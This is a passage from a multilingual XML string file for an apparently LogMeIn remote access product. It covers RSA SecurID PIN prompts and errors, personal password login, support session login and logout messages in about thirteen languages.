<pt-br>Digitar novo PIN</pt-br>
<nl>Voer de nieuwe pincode in</nl>
</msg>
<msg name="NEWPINSYS">
<en>To continue, you must accept a new PIN generated by the system. The code will only be displayed for 10 seconds.</en>
<de>Sie müssen die generierte PIN akzeptieren, um fortzufahren. Der Code wird nur 10 Sekunden lang angezeigt.</de>
<es>Para continuar, debe aceptar el nuevo PIN generado por el sistema. El código sólo se mostrará durante 10 segundos.</es>
<fr>Pour continuer, vous devez accepter un nouveau PIN généré par le système. Le PIN sera affiché pendant 10 secondes seulement.</fr>
<it>Per continuare, è necessario accettare il nuovo PIN generato dal sistema. Il codice viene visualizzato solo per 10 secondi.</it>
<ru>Чтобы продолжить, необходимо принять новый PIN-код, сгенерированный системой. Этот код будет виден на экране только 10 секунд.</ru>
<ja>続行するには、システムで作成された新しい PIN を承認する必要があります。このコードは 10 秒間のみ表示されます。</ja>
<zh>要继续,则必须接受由系统生成的新 PIN。此代码将仅显示 10 秒钟。</zh>
<ko>계속하려면 시스템에서 생성된 새 PIN을 승인해야 합니다. 코드는 10초 동안만 표시됩니다.</ko>
<en-gb>To continue, you must accept a new PIN generated by the system. The code will only be displayed for 10 seconds.</en-gb>
<hu>A folytatáshoz el kell fogadnia a rendszer által létrehozott új PIN kódot. A kód csak 10 másodpercen át lesz látható.</hu>
<pt-br>Para continuar, aceite um novo PIN gerado pelo sistema. O código só será exibido por 10 segundos.</pt-br>
<nl>Om verder te gaan, moet u de nieuwe pincode die door het systeem is gegenereerd, accepteren. Deze code wordt slechts gedurende 10 seconden weergegeven.</nl>
</msg>
<msg name="SYSPINNOTE">
<en>If you want the server to generate your new PIN, you must be ready to memorize
the new code. It will only be displayed for 10 seconds.</en>
<de>Anmerkung: Halten Sie sich bereit und merken Sie sich die PIN, wenn der Server
sie generieren soll. Sie wird nur 10 Sekunden lang angezeigt.</de>
<es>Si desea que el servidor genere su nuevo PIN, debe estar listo para
memorizarlo. Sólo se mostrará durante 10 segundos.</es>
<fr>Si vous désirez que le serveur génère un nouveau PIN, vous devez être prêt à vous en souvenir. 
Le nouveau code ne sera affiché que pendant 10 secondes.</fr>
<it>Se si desidera che il server generi il nuovo PIN, è necessario essere pronti a memorizzare il nuovo codice, che verrà visualizzato solo per 10 secondi.</it>
<ru>Если новый PIN-код генерируется сервером, то нужно подготовиться к запоминанию нового кода. Он будет виден на экране только 10 секунд.</ru>
<ja>サーバーで新しい PIN を生成するには、新しいコードを記憶しておく必要があります。コードは 10 秒間のみ表示されます。</ja>
<zh>如果希望由服务器为您生成新 PIN,则必须准备记住
此新代码。因为它将仅显示 10 秒钟。</zh>
<ko>서버에서 새 PIN을 만들려면 새 코드를 기억해야 합니다. 새 PIN은 10초 동안만 표시됩니다.</ko>
<en-gb>If you want the server to generate your new PIN, you must be ready to memorise
the new code. It will only be displayed for 10 seconds.</en-gb>
<hu>Amennyiben azt szeretné, hogy a kiszolgáló hozza létre új PIN kódját, fel kell legyen készülve arra, hogy megjegyezze
az új kódot. A kód csak 10 másodpercen át lesz látható.</hu>
<pt-br>Se desejar que o servidor gere seu novo PIN, precisa estar pronto para memorizar
o novo código. Ele só será exibido por 10 segundos.</pt-br>
<nl>Als u wilt dat de server uw nieuwe pincode genereert, moet u klaar zitten om de nieuwe code te onthouden. De code wordt namelijk maar 10 seconden op het scherm weergegeven.</nl>
</msg>
<msg name="PIN">
<en>PIN:</en>
<de>PIN:</de>
<es>PIN:</es>
<fr>Code PIN :</fr>
<it>PIN:</it>
<ru>PIN-код:</ru>
<ja>PIN:</ja>
<zh>PIN:</zh>
<ko>PIN:</ko>
<en-gb>PIN:</en-gb>
<hu>PIN:</hu>
<pt-br>PIN:</pt-br>
<nl>Pincode:</nl>
</msg>
<msg name="PINCONFIRM">
<en>Confirm PIN:</en>
<de>PIN bestätigen:</de>
<es>Confirmar PIN:</es>
<fr>Confirmer le code PIN :</fr>
<it>Conferma PIN:</it>
<ru>Подтвердить PIN-код:</ru>
<ja>PIN を確認:</ja>
<zh>确认 PIN:</zh>
<ko>PIN 확인:</ko>
<en-gb>Confirm PIN:</en-gb>
<hu>PIN megerősítése:</hu>
<pt-br>Confirmar PIN:</pt-br>
<nl>Pincode bevestigen:</nl>
</msg>
<msg name="NEWPINDISP">
<en>Your new PIN is: %NEWPIN</en>
<de>Ihre neue PIN ist: %NEWPIN</de>
<es>Su nuevo PIN es: %NEWPIN</es>
<fr>Votre nouveau PIN est : %NEWPIN</fr>
<it>Nuovo PIN: %NEWPIN</it>
<ru>Новый PIN-код: %NEWPIN</ru>
<ja>新しい PIN は、%NEWPIN です</ja>
<zh>您的新 PIN 为:%NEWPIN</zh>
<ko>새 PIN: %NEWPIN</ko>
<en-gb>Your new PIN is: %NEWPIN</en-gb>
<hu>Az Ön új PIN kódja: %NEWPIN</hu>
<pt-br>Seu novo PIN é: %NEWPIN</pt-br>
<nl>Uw nieuwe pincode is: %NEWPIN</nl>
</msg>
<msg name="NEWPINDISPNOTE">
<en>You will be redirected in 10 seconds...</en>
<de>Sie werden in 10 Sekunden weitergeleitet...</de>
<es>Será redirigido en 10 segundos...</es>
<fr>Vous allez être redirigé dans 10 secondes...</fr>
<it>Reindirizzamento entro 10 secondi...</it>
<ru>Перенаправление будет выполнено через 10 секунд...</ru>
<ja>10 秒後にリダイレクトします...</ja>
<zh>10 秒钟后,您将被重定向...</zh>
<ko>10초 내로 리디렉션됩니다....</ko>
<en-gb>You will be redirected in 10 seconds...</en-gb>
<hu>10 másodpercen belül átirányításra kerül...</hu>
<pt-br>Você será redirecionado em 10 segundos...</pt-br>
<nl>U wordt binnen 10 seconden omgeleid...</nl>
</msg>
<!-- RSA SecurID authentication error messages -->
<cat name="ERROR">
<msg name="CLIENTFAIL">
<en>Failed to initialize RSA/ACE Agent DLL.</en>
<de>RSA/ACE Agent DLL konnte nicht initialisiert werden.</de>
<es>Error al iniciar el DLL de RSA/ACE Agent.</es>
<fr>N'a pas réussi à initialiser l'agent DLL RSA/ACE.</fr>
<it>Inizializzazione della DLL di RSA/ACE Agent non riuscita.</it>
<ru>Не удалось инициализировать DLL-файл агента RSA/ACE.</ru>
<ja>RSA/ACE エージェント DLL の初期化に失敗しました。</ja>
<zh>初始化 RSA/ACE 代理 DLL 失败。</zh>
<ko>RSA/ACE 에이전트 DLL을 초기화하지 못했습니다.</ko>
<en-gb>Failed to initialise RSA/ACE Agent DLL.</en-gb>
<hu>Nem sikerült inicializálni az RSA/ACE segédprogram DLL-t.</hu>
<pt-br>Falha ao inicializar a DLL do Agente RSA/ACE.</pt-br>
<nl>Initialiseren van DLL-bestand van RSA/ACE-agent is mislukt.</nl>
</msg>
<msg name="CONNECTFAIL">
<en>Failed to connect to the RSA/ACE Server, error code: %RSAERR.</en>
<de>Verbindung zum RSA/ACE Server nicht möglich, Fehlercode: %RSAERR.</de>
<es>Error al conectar con el servidor RSA/ACE, código de error: %RSAERR.</es>
<fr>N'a pas réussi à se connecter au serveur RSA/ACE, code d'erreur %RSAERR.</fr>
<it>Connessione a RSA/ACE Server non riuscita. Codice di errore: %RSAERR.</it>
<ru>Не удалось подключиться к серверу RSA/ACE, код ошибки: %RSAERR.</ru>
<ja>RSA/ACE サーバーへの接続に失敗しました。エラー コードは %RSAERR です。</ja>
<zh>连接至 RSA/ACE 服务器失败,错误代码为:%RSAERR。</zh>
<ko>RSA/ACE 서버에 연결하지 못했습니다. 오류 코드: %RSAERR.</ko>
<en-gb>Failed to connect to the RSA/ACE Server, error code: %RSAERR.</en-gb>
<hu>Nem sikerült csatlakozni az RSA/ACE kiszolgálóhoz, hibakód: %RSAERR.</hu>
<pt-br>Falha ao conectar-se ao servidor RSA/ACE, código de erro: %RSAERR.</pt-br>
<nl>Kan geen verbinding maken met de RSA/ACE-server, foutcode: %RSAERR.</nl>
</msg>
<msg name="NAMELOCK">
<en>Name lock failed, error code: %RSAERR.</en>
<de>Name lock failed, Fehlercode: %RSAERR.</de>
<es>Error al confirmar nombre, código de error: %RSAERR.</es>
<fr>N'a pas réussi à reconnaitre le "name lock", code d'erreur %RSAERR.</fr>
<it>Blocco del nome non riuscito. Codice di errore: %RSAERR.</it>
<ru>Ошибка блокировки имени, код ошибки: %RSAERR.</ru>
<ja>名前のロックに失敗しました。エラー コードは %RSAERR です。</ja>
<zh>名称锁定失败,错误代码为:%RSAERR。</zh>
<ko>이름 잠금 실패. 오류 코드: %RSAERR.</ko>
<en-gb>Name lock failed, error code: %RSAERR.</en-gb>
<hu>A név zárolása nem sikerült, hibakód: %RSAERR.</hu>
<pt-br>Falha de bloqueio do nome, código do erro: %RSAERR.</pt-br>
<nl>De naam kon niet worden vergrendeld, foutcode: %RSAERR.</nl>
</msg>
<msg name="INVALIDSERVER">
<en>Invalid server.</en>
<de>Ungültiger Server.</de>
<es>Servidor no válido.</es>
<fr>Serveur non valide.</fr>
<it>Server non valido.</it>
<ru>Неверный сервер.</ru>
<ja>無効なサーバーです。</ja>
<zh>无效服务器。</zh>
<ko>올바르지 않은 서버.</ko>
<en-gb>Invalid server.</en-gb>
<hu>Érvénytelen kiszolgáló</hu>
<pt-br>Servidor inválido.</pt-br>
<nl>Ongeldige server.</nl>
</msg>
<msg name="UNKNOWN">
<en>Unknown RSA/ACE Agent error: %RSAERR.</en>
<de>Unbekannter RSA/ACE Agent Fehler: %RSAERR.</de>
<es>Error de Agente RSA/ACE desconocido: %RSAERR.</es>
<fr>Agent RSA/ACE inconnu. Code d'erreur %RSAERR.</fr>
<it>Errore sconosciuto di RSA/ACE Agent: %RSAERR.</it>
<ru>Неизвестная ошибка агента RSA/ACE: %RSAERR.</ru>
<ja>不明な RSA/ACE エージェント エラー %RSAERR が発生しました。</ja>
<zh>未知的 RSA/ACE 代理错误:%RSAERR。</zh>
<ko>알 수 없는 RSA/ACE 에이전트 오류: %RSAERR.</ko>
<en-gb>Unknown RSA/ACE Agent error: %RSAERR.</en-gb>
<hu>Ismeretlen RSA/ACE segédprogram hiba: %RSAERR.</hu>
<pt-br>Erro do Agente RSA/ACE desconhecido: %RSAERR.</pt-br>
<nl>Onbekende fout in de RSA/ACE-agent: %RSAERR.</nl>
</msg>
<msg name="INVALIDCREDENTIALS">
<en>Invalid credentials have been supplied.</en>
<de>Es wurden ungültige Anmeldeinformationen angegeben.</de>
<es>Las credenciales facilitadas no son válidas.</es>
<fr>Des données d'identification non valides ont été fournies.</fr>
<it>Sono state specificate credenziali non valide.</it>
<ru>Предоставлены недействительные учетные данные.</ru>
<ja>資格情報が無効です。</ja>
<zh>提供的凭据无效。</zh>
<ko>올바르지 않은 자격 증명이 제공되었습니다.</ko>
<hu>Érvénytelen hitelesítő adatokat adtak meg.</hu>
<pt-br>Foram fornecidas credenciais inválidas.</pt-br>
<nl>Ongeldige aanmeldingsgegevens ingevoerd.</nl>
</msg>
<msg name="PINSDONTMATCH">
<en>PIN confirmation failed.</en>
<de>PIN konnte nicht bestätigt werden.</de>
<es>Error al confirmar el PIN.</es>
<fr>La confirmation du code PIN est incorrecte.</fr>
<it>Conferma del PIN non riuscita.</it>
<ru>Ошибка при подтверждении PIN-кода.</ru>
<ja>PIN の確認に失敗しました。</ja>
<zh>PIN 确认失败。</zh>
<ko>PIN 확인 실패.</ko>
<en-gb>PIN confirmation failed.</en-gb>
<hu>PIN megerősítése sikertelen.</hu>
<pt-br>Falha na confirmação do PIN.</pt-br>
<nl>De bevestiging van de pincode is mislukt.</nl>
</msg>
<msg name="PINLENGTH">
<en>Bad PIN length.</en>
<de>Falsche PIN Länge.</de>
<es>Longitud de PIN incorrecta.</es>
<fr>La longeur du code PIN est incorrecte.</fr>
<it>Lunghezza del PIN non valida.</it>
<ru>Неверная длина PIN-кода.</ru>
<ja>PIN の長さが不正です。</ja>
<zh>PIN 长度错误。</zh>
<ko>잘못된 PIN 길이.</ko>
<en-gb>Bad PIN length.</en-gb>
<hu>Rossz PIN-hossz.</hu>
<pt-br>Comprimento do PIN irregular.</pt-br>
<nl>Ongeldige lengte van de pincode.</nl>
</msg>
<msg name="PINDIGI">
<en>The new PIN can contain digits only.</en>
<de>Die neue PIN kann nur Zahlen enthalten.</de>
<es>El nuevo PIN sólo puede contener números.</es>
<fr>Le nouveau code PIN doit contenir des chiffres uniquement.</fr>
<it>Il nuovo PIN può contenere solo cifre.</it>
<ru>Новый PIN-код содержит только цифры.</ru>
<ja>新しい PIN には数字以外使えません。</ja>
<zh>新 PIN 仅能包含数字。</zh>
<ko>새 PIN에는 숫자만 사용할 수 있습니다.</ko>
<en-gb>The new PIN can contain digits only.</en-gb>
<hu>Az új PIN kód csak számjegyeket tartalmazhat.</hu>
<pt-br>O novo PIN só pode conter dígitos.</pt-br>
<nl>De nieuwe pincode mag alleen cijfers bevatten.</nl>
</msg>
<msg name="NEWPINACCEPTED">
<en>Your new PIN has been accepted. \r\nWait for the tokencode to change,
then authenticate again using the new PIN.</en>
<de>Ihre neue PIN wurde angenommen. \r\nWarten Sie bis der Tokencode
geändert ist. Authentifizieren Sie sich dann mit der neuen PIN erneut.</de>
<es>Su nuevo PIN ha sido aceptado. \r\nEspere a que cambie el tokencode,
a continuación, autentique de nuevo utilizando el nuevo PIN.</es>
<fr>Votre nouveau code PIN est enregistré. Your new PIN has been accepted. \r\nWait for the tokencode to change,
then authenticate again using the new PIN.</fr>
<it>Il nuovo PIN è stato accettato. \r\nAttendere che il tokencode venga modificato, quindi eseguire di nuovo l'autenticazione utilizzando il nuovo PIN.</it>
<ru>Новый PIN-код принят. \r\nДождитесь изменения кода маркера, а затем выполните проверку подлинности с использованием нового PIN-кода.</ru>
<ja>新しい PIN は承認されました。\r\nトークンコードが変わるのを待ってから、新しい PIN を使用して再度認証してください。</ja>
<zh>已接受您的新 PIN。\r\n等待令牌码发生更改,
然后使用新 PIN 再次进行验证。</zh>
<ko>새 PIN이 승인되었습니다. \r\n토큰코드가 변경될 때까지 기다린 후 새 PIN을 사용하여 다시 인증하십시오.</ko>
<en-gb>Your new PIN has been accepted. \r\nWait for the tokencode to change,
then authenticate again using the new PIN.</en-gb>
<hu>Az új PIN elfogadva. \r\nVárjon, míg a token kód módosul,
majd hitelesítsen ismét, az új PIN segítségével.</hu>
<pt-br>Seu novo PIN foi aceito. \r\nAguarde a alteração do código de token e
, em seguida, autentique novamente usando o novo PIN.</pt-br>
<nl>Uw nieuwe pincode is geaccepteerd. \r\nWacht tot de tokencode is gewijzigd en verifieer deze vervolgens opnieuw met de nieuwe pincode.</nl>
</msg>
<msg name="NEWPINREJECTED">
<en>Your new PIN has been rejected by the RSA/ACE Server.</en>
<de>Ihre neue PIN wurde vom RSA/ACE Server zurückgewiesen.</de>
<es>Su nuevo PIN ha sido rechazado por el servidor RSA/ACE.</es>
<fr>Votre nouveau code PIN a été refusé par le serveur RSA/ACE.</fr>
<it>Il nuovo PIN è stato rifiutato da RSA/ACE Server.</it>
<ru>Новый PIN-код отклонен сервером RSA/ACE.</ru>
<ja>新しい PIN は、RSA/ACE サーバーに拒否されました。</ja>
<zh>RSA/ACE 服务器已拒绝您的新 PIN。</zh>
<ko>새 PIN이 RSA/ACE 서버에서 거부되었습니다.</ko>
<en-gb>Your new PIN has been rejected by the RSA/ACE Server.</en-gb>
<hu>A RSA/ACE kiszolgáló elutasította az Ön új PIN kódját.</hu>
<pt-br>Seu novo PIN foi rejeitado pelo servidor RSA/ACE.</pt-br>
<nl>Uw nieuwe pincode is geweigerd door de RSA/ACE-server.</nl>
</msg>
<msg name="NEWPINREJECTEDERR">
<en>Your new PIN has been rejected by the RSA/ACE Server with error code: %RSAERR.</en>
<de>Ihre neue PIN wurde vom RSA/ACE Server zurückgewiesen. Fehlercode: %RSAERR.</de>
<es>Su nuevo PIN ha sido rechazado por el servidor RSA/ACE, código de error: %RSAERR.</es>
<fr>Votre nouveau code PIN a été refusé par le serveur RSA/ACE. Le code d'erreur renvoyé par le serveur est : %RSAERR.</fr>
<it>Il nuovo PIN è stato rifiutato da RSA/ACE Server. Codice di errore: %RSAERR.</it>
<ru>Новый PIN-код отклонен сервером RSA/ACE со следующим кодом ошибки: %RSAERR.</ru>
<ja>新しい PIN は、RSA/ACE サーバーに拒否されました。エラー コードは %RSAERR です。</ja>
<zh>RSA/ACE 服务器已拒绝您的新 PIN,错误代码为:%RSAERR。</zh>
<ko>새 PIN이 다음 오류 코드와 함께 RSA/ACE 서버에서 거부되었습니다: %RSAERR.</ko>
<en-gb>Your new PIN has been rejected by the RSA/ACE Server with error code: %RSAERR.</en-gb>
<hu>A RSA/ACE kiszolgáló elutasította az Ön új PIN kódját, a következő hibakóddal: %RSAERR.</hu>
<pt-br>Seu novo PIN foi rejeitado pelo servidor RSA/ACE com o código de erro: %RSAERR.</pt-br>
<nl>Uw nieuwe pincode is geweigerd door de RSA/ACE-server met de volgende foutcode: %RSAERR.</nl>
</msg>
</cat>
</cat>
<!-- Personal password login messages -->
<cat name="PPWD">
<msg name="LEGEND">
<en>Personal Password</en>
<de>Persönliches Kennwort</de>
<es>Contraseña personal</es>
<fr>Mot de passe personnel</fr>
<it>Password personale</it>
<ru>Личный пароль</ru>
<ja>パーソナル パスワード</ja>
<zh>个人密码</zh>
<ko>개인 암호</ko>
<en-gb>Personal Password</en-gb>
<hu>Személyes jelszó</hu>
<pt-br>Senha pessoal</pt-br>
<nl>Persoonlijk wachtwoord</nl>
</msg>
<msg name="DESC">
<en>A Personal Password is enabled on this computer. Enter the requested characters.</en>
<de>Ein Persönliches Kennwort ist auf dem Computer aktiv. Geben sie bitte die entsprechenden Zeichen ein.</de>
<es>Se ha habilitado una Contraseña Personal en este ordenador. Introduzca los caracteres especificados.</es>
<fr>Un Mot de Passe Personnel est présent sur cet ordinateur. Merci d'introduire le mot de passe spécifique.</fr>
<it>Su questo computer è stata attivata una password personale. Immettere i caratteri richiesti.</it>
<ru>На данном компьютере включена поддержка личного пароля. Введите требуемые символы.</ru>
<ja>このコンピュータではパーソナル パスワードを使用できます。必要なの文字数のパスワードを入力してください。</ja>
<zh>此计算机上已启用个人密码。请输入所需字符。</zh>
<ko>이 컴퓨터에서 개인 암호를 사용할 수 있습니다. 필요한 문자를 입력하십시오.</ko>
<en-gb>A Personal Password is enabled on this computer. Enter the requested characters.</en-gb>
<hu>Ezen a számítógépen személyes jelszó engedélyezett. Kérem, írja be a szükséges karaktereket.</hu>
<pt-br>Uma senha pessoal está habilitada neste computador. Digite os caracteres necessários.</pt-br>
<nl>Op deze computer is een persoonlijk wachtwoord ingeschakeld. Voer de vereiste tekens in.</nl>
</msg>
<msg name="FAILED">
<en>Personal Password authentication failed.</en>
<de>Die Authentifizierung mit dem persönlichen Kennwort ist fehlgeschlagen.</de>
<es>Error al autenticar la contraseña personal.</es>
<fr>L'authentification de votre mot de passe personnel a échoué.</fr>
<it>Autenticazione della password personale non riuscita.</it>
<ru>Ошибка проверки подлинности личного пароля.</ru>
<ja>パーソナル パスワードの認証に失敗しました。</ja>
<zh>个人密码验证失败。</zh>
<ko>개인 암호 인증 실패.</ko>
<en-gb>Personal Password authentication failed.</en-gb>
<hu>A személyes jelszóval történő hitelesítés nem sikerült.</hu>
<pt-br>Falha na autenticação da senha pessoal.</pt-br>
<nl>De verificatie van het persoonlijke wachtwoord is mislukt.</nl>
</msg>
</cat>
<!-- Reactive Support login screen messages -->
<cat name="RSLOGIN">
<msg name="TITLE">
<en>LogMeIn Support Session</en>
<de>LogMeIn-Supportsoftware</de>
<es>Sesión de asistencia técnica de LogMeIn</es>
<fr>Session d'assistance LogMeIn</fr>
<it>Sessione di supporto LogMeIn</it>
<ru>Сеанс поддержки LogMeIn</ru>
<ja>LogMeIn サポート セッション</ja>
<zh>LogMeIn 支持会话</zh>
<ko>LogMeIn 지원 세션</ko>
<en-gb>LogMeIn Support Session</en-gb>
<hu>LogMeIn támogatási munkamenet</hu>
<pt-br>Sessão de suporte do LogMeIn</pt-br>
<nl>LogMeIn-ondersteuningssessie</nl>
</msg>
<msg name="DESC">
<en>Enter the computer password you created for this Support Session.</en>
<de>Geben Sie das für diese Supportsitzung erstellte Computerpasswort ein.</de>
<es>Introduzca la contraseña de ordenador creada para esta Sesión de asistencia técnica.</es>
<fr>Entrez le mot de passe d'ordinateur que vous avez créé pour cette session d'assistance.</fr>
<it>Inserisci la password per computer creata per questa sessione di supporto.</it>
<ru>Введите пароль к компьютеру, который вы задали для этого сеанса поддержки.</ru>
<ja>このサポート セッション用に作成したコンピュータのパスワードを入力してください。</ja>
<zh>输入您为此支持会话创建的计算机密码。</zh>
<ko>본 지원 세션을 위해 생성하신 컴퓨터 암호를 입력하십시오.</ko>
<en-gb>Enter the computer password you created for this Support Session.</en-gb>
<hu>Írja be az ehhez a támogatási munkamenethez létrehozott számítógépjelszót.</hu>
<pt-br>Insira a senha de computador criada para esta Sessão de suporte.</pt-br>
<nl>Voer het computerwachtwoord in dat u voor deze ondersteuningssessie hebt gemaakt.</nl>
</msg>
<msg name="REMEMBERME">
<en>Remember password until the Support Session ends</en>
<de>Passwort bis zum Ende der Supportsitzung speichern</de>
<es>Recordar la contraseña hasta que Sesión de asistencia técnica concluya</es>
<fr>Mémoriser le mot de passe jusqu'à la fin de la session d'assistance.</fr>
<it>Memorizza la password fino al termine della sessione di supporto</it>
<ru>Запомнить пароль до окончания сеанса поддержки</ru>
<ja>サポート セッションが終了するまでパスワードを忘れないでください</ja>
<zh>请记住密码直到支持会话结束</zh>
<ko>지원 세션이 종료될 때까지 암호 기억하기</ko>
<en-gb>Remember password until the Support Session ends</en-gb>
<hu>Jegyezze meg a jelszót a támogatási munkamenet végéig</hu>
<pt-br>Lembrar a senha até o fim da Sessão de suporte</pt-br>
<nl>Wachtwoord onthouden totdat de ondersteuningssessie is beëindigd</nl>
</msg>
</cat>
</cat>
<!-- logout screen messages -->
<cat name="LOGOUT">
<msg name="TITLE">
<en>End Remote Session</en>
<de>Abmelden</de>
<es>Finalizar Sesión remota</es>
<fr>Fin de la session distante</fr>
<it>Termina sessione remota</it>
<ru>Завершить удаленный сеанс</ru>
<ja>リモート セッションを終了</ja>
<zh>结束远程会话</zh>
<ko>원격 세션 종료</ko>
<en-gb>End Remote Session</en-gb>
<hu>Távoli munkamenet vége</hu>
<pt-br>Fim da sessão remota</pt-br>
<nl>Externe sessie beëindigen</nl>
</msg>
<msg name="QUESTION">
<en>Are you sure you want to end your %PRODUCTNAME session?</en>
<de>Sind Sie sicher, dass Sie Ihre %PRODUCTNAME Sitzung beenden möchten?</de>
<es>¿Está seguro de que desea finalizar su sesión de %PRODUCTNAME?</es>
<fr>Etes-vous bien certain d'être absolument sûr de vouloir terminer votre session %PRODUCTNAME ?</fr>
<it>Terminare la sessione di %PRODUCTNAME?</it>
<ru>Завершить сеанс программы %PRODUCTNAME?</ru>
<ja>%PRODUCTNAME セッションを終了しますか?</ja>
<zh>是否确实要结束您的 %PRODUCTNAME 会话?</zh>
<ko>%PRODUCTNAME 세션을 종료하시겠습니까?</ko>
<en-gb>Are you sure you want to end your %PRODUCTNAME session?</en-gb>
<hu>Biztosan be kívánja fejezni %PRODUCTNAME munkamenetét?</hu>
<pt-br>Tem certeza de que deseja encerrar sua sessão do %PRODUCTNAME?</pt-br>
<nl>Weet u zeker dat u uw sessie in %PRODUCTNAME wilt beëindigen?</nl>
</msg>
<msg name="GOODBYTE">
<en>Goodbye.</en>
<de>Auf Wiedersehen.</de>
<es>Hasta pronto.</es>
<fr>Au revoir.</fr>
<it>Arrivederci.</it>
<ru>До свидания.</ru>
<ja>さようなら。</ja>
<zh>再见。</zh>
<ko>종료하겠습니다.</ko>
<en-gb>Goodbye.</en-gb>
<hu>Viszontlátásra.</hu>
<pt-br>Adeus.</pt-br>
<nl>De sessie wordt beëindigd.</nl>
</msg>
<msg name="THANKYOU">
<en>Thank you for using %PRODUCTNAME.</en>
<de>Vielen Dank für die Verwendung von %PRODUCTNAME.</de>
<es>Gracias por utilizar %PRODUCTNAME.</es>
<fr>Nous vous remercions d'utiliser %PRODUCTNAME.</fr>
<it>Grazie per aver utilizzato %PRODUCTNAME.</it>
<ru>Благодарим за использование %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME をご使用いただきありがとうございます。</ja>
<zh>感谢您使用 %PRODUCTNAME。</zh>
<ko>%PRODUCTNAME를 사용해 주셔서 감사합니다.</ko>
<en-gb>Thank you for using %PRODUCTNAME.</en-gb>
<hu>Köszönjük, hogy a %PRODUCTNAME programot használta.</hu>
<pt-br>Obrigado por usar o %PRODUCTNAME.</pt-br>
<nl>Hartelijk dank voor het gebruik van %PRODUCTNAME.</nl>
</msg>
<msg name="REASON.TIMEDOUT">
<en>Your %PRODUCTNAME session has timed out.</en>
<de>Ihre %PRODUCTNAME Sitzung wurde wegen Zeitüberschreitung beendet.</de>
<es>Su sesión de %PRODUCTNAME ha caducado.</es>
<fr>Votre session %PRODUCTNAME a expiré.</fr>
<it>La sessione di %PRODUCTNAME è scaduta.</it>
<ru>Истекло время ожидания текущего сеанса %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME セッションがタイムアウトしました。</ja>
<zh>您的 %PRODUCTNAME 会话已超时。</zh>
<ko>%PRODUCTNAME 세션 시간이 초과되었습니다.</ko>
<en-gb>Your %PRODUCTNAME session has timed out.</en-gb>
<hu>Az Ön %PRODUCTNAME munkamenete időtúllépéssel lejárt.</hu>
<pt-br>Sua sessão do %PRODUCTNAME expirou.</pt-br>
<nl>Er is een time-out opgetreden tijdens uw sessie in %PRODUCTNAME.</nl>
</msg>
<msg name="REASON.SHUTDOWN">
<en>The %PRODUCTNAME service is shutting down.</en>
<de>Der %PRODUCTNAME Dienst wird beendet.</de>
<es>El servicio de %PRODUCTNAME se está cerrando.</es>
<fr>Le service %PRODUCTNAME est en train de s'arrêter</fr>
<it>È in corso la chiusura del servizio di %PRODUCTNAME.</it>
<ru>Выполняется остановка службы %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME サービスをシャット ダウンしています。</ja>
<zh>正在关闭 %PRODUCTNAME 服务。</zh>
<ko>%PRODUCTNAME 서비스를 종료 중입니다.</ko>
<en-gb>The %PRODUCTNAME service is shutting down.</en-gb>
<hu>A %PRODUCTNAME szolgáltatás leáll.</hu>
<pt-br>O serviço do %PRODUCTNAME está sendo desligado.</pt-br>
<nl>De %PRODUCTNAME-service wordt nu beëindigd.</nl>
</msg>
<msg name="REASON.RESTART">
<en>The %PRODUCTNAME service is restarting. Please wait for the
%PRODUCTNAME logon screen to appear.</en>
<de>Der %PRODUCTNAME Dienst wird neu gestartet. Warten Sie bitte, bis der %PRODUCTNAME Anmeldedialog erscheint.</de>
<es>El servicio de %PRODUCTNAME se está reiniciando. Espere a que
aparezca la pantalla de inicio de sesión de %PRODUCTNAME.</es>
<fr>Le service %PRODUCTNAME est en phase de redémarrage. Merci d'attendre que
la fenêtre de connexion  %PRODUCTNAME apparaisse à  l'écran.</fr>
<it>È in corso il riavvio del servizio di %PRODUCTNAME. Attendere la visualizzazione della schermata di accesso di %PRODUCTNAME.</it>
<ru>Выполняется перезапуск службы %PRODUCTNAME. Дождитесь появления экрана входа в %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME サービスを再起動しています。%PRODUCTNAME のログイン画面が表示されるまでお待ちください。</ja>
<zh>正在重新启动 %PRODUCTNAME 服务。请等待系统显示 
%PRODUCTNAME 登录屏幕。</zh>
<ko>%PRODUCTNAME 서비스를 다시 시작합니다. %PRODUCTNAME 로그온 화면이 나타날 때까지 잠시 기다려주십시오.</ko>
<en-gb>The %PRODUCTNAME service is restarting. Please wait for the %PRODUCTNAME logon screen to appear.</en-gb>
<hu>A %PRODUCTNAME szolgáltatás újraindul. Kérem, várjon a 
%PRODUCTNAME bejelentkező képernyő megjelenésére.</hu>
<pt-br>O serviço do %PRODUCTNAME está sendo reiniciado. Aguarde até a 
tela de logon do %PRODUCTNAME ser exibida.</pt-br>
<nl>De %PRODUCTNAME-service wordt opnieuw gestart. Wacht even tot het aanmeldingsscherm van %PRODUCTNAME verschijnt.</nl>
</msg>
<msg name="REASON.REBOOT">
<en>Windows is restarting on the host computer. Please wait for
the %PRODUCTNAME logon screen to appear.</en>
<de>Windows wird auf dem Host-Computer neu gestartet. Warten Sie bitte, bis der %PRODUCTNAME Anmeldedialog erscheint.</de>
<es>Windows está reiniciando su ordenador host. Espere a que
aparezca la pantalla de inicio de sesión de %PRODUCTNAME.</es>
<fr>Windows est en phase de redémarrage sur l'ordinateur distant. Merci d'attendre que
la fenêtre de connexion %PRODUCTNAME apparaisse à l'écran.</fr>
<it>È in corso il riavvio di Windows sul computer host. Attendere la visualizzazione della schermata di accesso di %PRODUCTNAME.</it>
<ru>На хост-компьютере выполняется перезапуск Windows. Дождитесь появления экрана входа в %PRODUCTNAME.</ru>
<ja>ホスト コンピュータで Windows を再起動しています。%PRODUCTNAME のログイン画面が表示されるまでお待ちください。</ja>
<zh>正在主机上重新启动 Windows。请等待系统显示 
%PRODUCTNAME 登录屏幕。</zh>
<ko>Windows가 호스트 컴퓨터에서 다시 시작합니다. %PRODUCTNAME 로그온 화면이 나타날 때까지 잠시 기다려주십시오.</ko>
<en-gb>Windows is restarting on the host computer. Please wait for the %PRODUCTNAME logon screen to appear.</en-gb>
<hu>A Windows újraindul a gazdagépen. Kérem, várjon, amíg 
a %PRODUCTNAME bejelentkező képernyő megjelenik.</hu>
<pt-br>O Windows está sendo iniciado no computador host. Aguarde até a
tela de logon do %PRODUCTNAME ser exibida.</pt-br>
<nl>Op de hostcomputer wordt Windows opnieuw gestart. Wacht even tot het aanmeldingsscherm van %PRODUCTNAME verschijnt.</nl>
</msg>
<msg os="macosx" name="REASON.REBOOT">
<en>Mac is restarting on the host computer. Please wait for
